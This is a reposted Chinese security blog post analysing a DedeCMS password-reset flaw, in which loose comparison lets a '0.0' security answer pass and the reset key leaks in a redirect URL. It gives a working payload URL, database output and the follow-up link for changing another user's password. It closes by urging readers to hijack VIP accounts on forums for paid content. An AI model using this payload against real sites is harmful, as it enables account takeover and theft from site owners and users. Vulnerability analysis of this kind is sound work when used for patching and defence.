织梦最新前台任意用户密码修改

颓废 2019年5月19日07:25:41评论542 views字数 6070阅读20分14秒阅读模式
摘要

 漏洞分析 dedecms/member/resetpassword.php //75行 else if($dopost == "safequestion") { $mid = preg_replace("#[^0-9]#", "", $id); $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'"; $row = $db->GetOne($sql); if(empty($safequestion)) $safequestion = ''; if(empty($safeanswer)) $safeanswer = ''; if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer) { sn($mid, $row['userid'], $row['email'], 'N'); exit(); } else { ShowMsg("对不起,您的安全问题或答案回答错误","-1"); exit(); } } 管理员帐号admin的$row['safequestion']默认是为’0’(字符串),所以$safequestion不能为空。否则不进入$row['safequestion'] == $safequestion。而$_GET[‘safequestion ’]传过来的值为字符串,当$_GET[‘safequestion ’]为’0’时进入if(empty($safequestion))。当$_GET[‘safequestion ’]为’0.0’时不进入if(empty($safequestion)),而’0’=’0.0’进入if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer),右边的$safeanswer本身就为空。所以不用理。 跟进函数sn: function sn($mid,$userid,$mailto, $send = 'Y') { global $db; $tptim= (60*10); $dtime = time(); $sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'"; $row = $db->GetOne($sql); if(!is_array($row)) { //发送新邮件; newmail($mid,$userid,$mailto,'INSERT',$send); } //10分钟后可以再次发送新验证码; elseif($dtime - $tptim > $row['mailtime']) { newmail($mid,$userid,$mailto,'UPDATE',$send); } //重新发送新的验证码确认邮件; else { return ShowMsg('对不起,请10分钟后再重新申请', 'login.php'); } } 这里从数据库取出来的值应该为空$sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";于是进入 if(!is_array($row)) { //发送新邮件; newmail($mid,$userid,$mailto,'INSERT',$send); } 注意一下$send为N 我们跟进newmail函数: function newmail($mid, $userid, $mailto, $type, $send) { global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl; $mailtime = time(); $randval = random(8); $mailtitle = $cfg_webname.":密码修改"; $mailto = $mailto; $headers = "From: ".$cfg_adminemail."/r/nReply-To: $cfg_adminemail"; $mailbody = "亲爱的".$userid.":/r/n您好!感谢您使用".$cfg_webname."网。/r/n".$cfg_webname."应您的要求,重新设置密码:(注:如果您没有提出申请,请检查您的信息是否泄漏。)/r/n本次临时登陆密码为:".$randval." 请于三天内登陆下面网址确认修改。/r/n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid; if($type == 'INSERT') { $key = md5($randval); $sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid', '$key', '$mailtime');"; if($db->ExecuteNoneQuery($sql)) { if($send == 'Y') { sendmail($mailto,$mailtitle,$mailbody,$headers); return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000'); } else if ($send == 'N') { return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval); } } else { return ShowMsg('对不起修改失败,请联系管理员', 'login.php'); } } 这里直接是对dede_pwd_tmp表插入临时密码,临时密码为$randval = random(8);是8位,但是别急。紧接着插入完成之后ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);也就是说在insert完成之后跳转把$randval输出到了页面。

 漏洞分析

dedecms/member/resetpassword.php      //75行 else if($dopost == "safequestion") {     $mid = preg_replace("#[^0-9]#", "", $id);     $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";     $row = $db->GetOne($sql);     if(empty($safequestion)) $safequestion = '';      if(empty($safeanswer)) $safeanswer = '';      if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)     {         sn($mid, $row['userid'], $row['email'], 'N');         exit();     }     else     {         ShowMsg("对不起,您的安全问题或答案回答错误","-1");         exit();     }  } 管理员帐号admin的$row['safequestion']默认是为’0’(字符串),所以$safequestion不能为空。否则不进入$row['safequestion'] == $safequestion。而$_GET[‘safequestion ’]传过来的值为字符串,当$_GET[‘safequestion ’]为’0’时进入if(empty($safequestion))。当$_GET[‘safequestion ’]为’0.0’时不进入if(empty($safequestion)),而’0’=’0.0’进入if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer),右边的$safeanswer本身就为空。所以不用理。  跟进函数sn: function sn($mid,$userid,$mailto, $send = 'Y') {     global $db;     $tptim= (60*10);     $dtime = time();     $sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";     $row = $db->GetOne($sql);     if(!is_array($row))     {         //发送新邮件;         newmail($mid,$userid,$mailto,'INSERT',$send);     }     //10分钟后可以再次发送新验证码;     elseif($dtime - $tptim > $row['mailtime'])     {         newmail($mid,$userid,$mailto,'UPDATE',$send);     }     //重新发送新的验证码确认邮件;     else     {         return ShowMsg('对不起,请10分钟后再重新申请', 'login.php');     } } 这里从数据库取出来的值应该为空$sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";于是进入    if(!is_array($row))     {         //发送新邮件;         newmail($mid,$userid,$mailto,'INSERT',$send); } 注意一下$send为N 我们跟进newmail函数: function newmail($mid, $userid, $mailto, $type, $send) {     global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl;     $mailtime = time();     $randval = random(8);     $mailtitle = $cfg_webname.":密码修改";     $mailto = $mailto;     $headers = "From: ".$cfg_adminemail."/r/nReply-To: $cfg_adminemail";     $mailbody = "亲爱的".$userid.":/r/n您好!感谢您使用".$cfg_webname."网。/r/n".$cfg_webname."应您的要求,重新设置密码:(注:如果您没有提出申请,请检查您的信息是否泄漏。)/r/n本次临时登陆密码为:".$randval." 请于三天内登陆下面网址确认修改。/r/n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid;     if($type == 'INSERT')     {         $key = md5($randval);         $sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid',  '$key', '$mailtime');";         if($db->ExecuteNoneQuery($sql))         {             if($send == 'Y')             {                 sendmail($mailto,$mailtitle,$mailbody,$headers);                 return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000');             } else if ($send == 'N')             {                 return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);             }         }         else         {             return ShowMsg('对不起修改失败,请联系管理员', 'login.php');         } } 这里直接是对dede_pwd_tmp表插入临时密码,临时密码为$randval = random(8);是8位,但是别急。紧接着插入完成之后ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);也就是说在insert完成之后跳转把$randval输出到了页面。

 

利用点:使用dedecms并开启会员注册的网站

织梦最新前台任意用户密码修改

br />

payload:
http://localhost/member/resetpassword.php?i=0.0&dopost=safequestion&safequestion=0.0&safeanswer=&id=1
问题文件dedecms/member/resetpassword.php,问题出在75行

else if($dopost == "safequestion") {     $mid = preg_replace("#[^0-9]#", "", $id);     $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";     $row = $db->GetOne($sql);     if(empty($safequestion)) $safequestion = '';      if(empty($safeanswer)) $safeanswer = '';      if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)     {         sn($mid, $row['userid'], $row['email'], 'N');         exit();     }     else     {         ShowMsg("对不起,您的安全问题或答案回答错误","-1");         exit();     }  }

按照payload传入的参数,sql语句查询的结果如下

mysql> SELECT safequestion,safeanswer,userid,email from dede_member WHERE mid = 1; +--------------+------------+--------+-------+ | safequestion | safeanswer | userid | email | +--------------+------------+--------+-------+ |            0 |            | admin  |       | +--------------+------------+--------+-------+

根据这个查询结果,也就意味着等下会调用sn函数,传入的参数如下:

sn($mid=1, $userid='admin', $mailto='', $send='N')

接下来继续跟踪sn函数。该函数位于dedecms/member/inc/inc_pwd_functions.php文件中,具体功能如下:

function sn($mid,$userid,$mailto, $send = 'Y') {     global $db;     $tptim= (60*10);     $dtime = time();     $sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";     $row = $db->GetOne($sql);     if(!is_array($row))     {         //发送新邮件;         newmail($mid,$userid,$mailto,'INSERT',$send);     }     //10分钟后可以再次发送新验证码;     elseif($dtime - $tptim > $row['mailtime'])     {         newmail($mid,$userid,$mailto,'UPDATE',$send);     }     //重新发送新的验证码确认邮件;     else     {         return ShowMsg('对不起,请10分钟后再重新申请', 'login.php');     } }

默认状态下,临时密码的表为空,如下

mysql> select * from dede_pwd_tmp; Empty set (0.00 sec)

当我们访问完payload时,链接会自动跳转到http://localhost/dedecms/member/resetpassword.php?dopost=getpasswd&id=1&key=34qn8KnX

这里key的值就是admin的临时密码,这时再查询数据库的临时密码表,你会发现多了一条admin的记录

mysql> select * from dede_pwd_tmp; +-----+------------+----------------------------------+------------+ | mid | membername | pwd                              | mailtime   | +-----+------------+----------------------------------+------------+ |   1 | admin      | 0aa76a6cf6c9abd06df9081f12e094e4 | 1515599643 | +-----+------------+----------------------------------+------------+ 1 row in set (0.00 sec)

织梦最新前台任意用户密码修改

这是因为一开始执行

SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'

语句时,返回结果为空,进而会执行160行的newmail函数,传参如下

newmail($mid=1,$userid='admin',$mailto='',$type='INSERT',$send=N);

继续跟踪newmail函数(在该文件73行处)

global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl; $mailtime = time(); $randval = random(8); $mailtitle = $cfg_webname.":密码修改"; $mailto = $mailto; $headers = "From: ".$cfg_adminemail."/r/nReply-To: $cfg_adminemail"; $mailbody = "亲爱的".$userid.":/r/n您好!感谢您使用".$cfg_webname."网。/r/n".$cfg_webname."应您的要求,重新设置密码:(注:如果您没有提出申请,请检查您的信息是否泄漏。)/r/n本次临时登陆密码为:".$randval." 请于三天内登陆下面网址确认修改。/r/n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid; if($type == 'INSERT') {     $key = md5($randval);     $sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid',  '$key', '$mailtime');";     if($db->ExecuteNoneQuery($sql))     {         if($send == 'Y')         {             sendmail($mailto,$mailtitle,$mailbody,$headers);             return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000');         } else if ($send == 'N')         {             return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);         }     }     else     {         return ShowMsg('对不起修改失败,请联系管理员', 'login.php');     } }

我们发现,这个函数往数据库中插入了一条admin的临时密码的记录,并且会跳转到/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval链接

使用前面获取的值,访问下面链接即可跳转到用户密码修改页面
http://192.168.2.104/dedecms/member/resetpassword.php?dopost=getpasswd&id=1&key=FRfsUlnx

织梦最新前台任意用户密码修改

br />

但是默认情况下,admin在会员中心是静止登录的,也就是说即使你修改成功了admin会员的密码,还是不能登录admin,但是其他的会员就可以随意登录。比如一些论坛的资源教程需要vip,你可以修改vip用户的密码,然后猥琐欲为

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
颓废
  • 本文由 发表于 2019年5月19日07:25:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   织梦最新前台任意用户密码修改http://cn-sec.com/archives/67606.html

发表评论

匿名网友 填写信息